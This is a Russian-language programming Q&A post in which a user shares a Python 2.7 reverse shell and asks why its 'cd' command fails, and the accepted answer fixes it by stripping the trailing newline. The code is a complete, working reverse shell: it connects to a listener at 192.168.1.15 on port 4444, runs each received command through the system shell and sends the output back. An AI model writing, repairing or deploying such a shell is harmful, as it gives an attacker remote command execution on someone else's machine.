WindowsError: [Ошибка 123] Неверный синтаксис имени файла, имени каталога или метки тома

Я делаю простую обратную оболочку Python 2.7, для функции смены каталога каждый раз, когда я набираю cd C:\ на моем сервере netcat, она выдает эту ошибку "WindowsError: [Ошибка 123] Синтаксис имени файла, имени каталога или метки тома неверно: 'C:\\n'"Вот мой код.

    import socket
    import os
    import subprocess
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    host = "192.168.1.15"
    port = 4444
    s.connect((host, port))
    s.send(os.getcwd() + '> ')
    def Shell():
        while True:
            data = s.recv(1024)
            if data[:2] == 'cd':
                os.chdir(data[3:])
            if len(data) > 0:
                proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
                result = proc.stdout.read() + proc.stderr.read()
                s.send(result)
                s.send(os.getcwd() + '> ')
                print(data)
    Shell()

1 ответ

Решение

Когда вы используете data = s.recv(1024) получать данные с удаленного \n символ, генерируемый при нажатии клавиши Enter для завершения текущего ввода, будет получен одновременно.

Так что вам просто нужно .strip() это или использовать [:-1] удалить последний символ (который \n), когда вы получаете данные.

data = s.recv(1024).strip()

или же

data = s.recv(1024)[:-1]

может оба в порядке.

Другие вопросы по тегам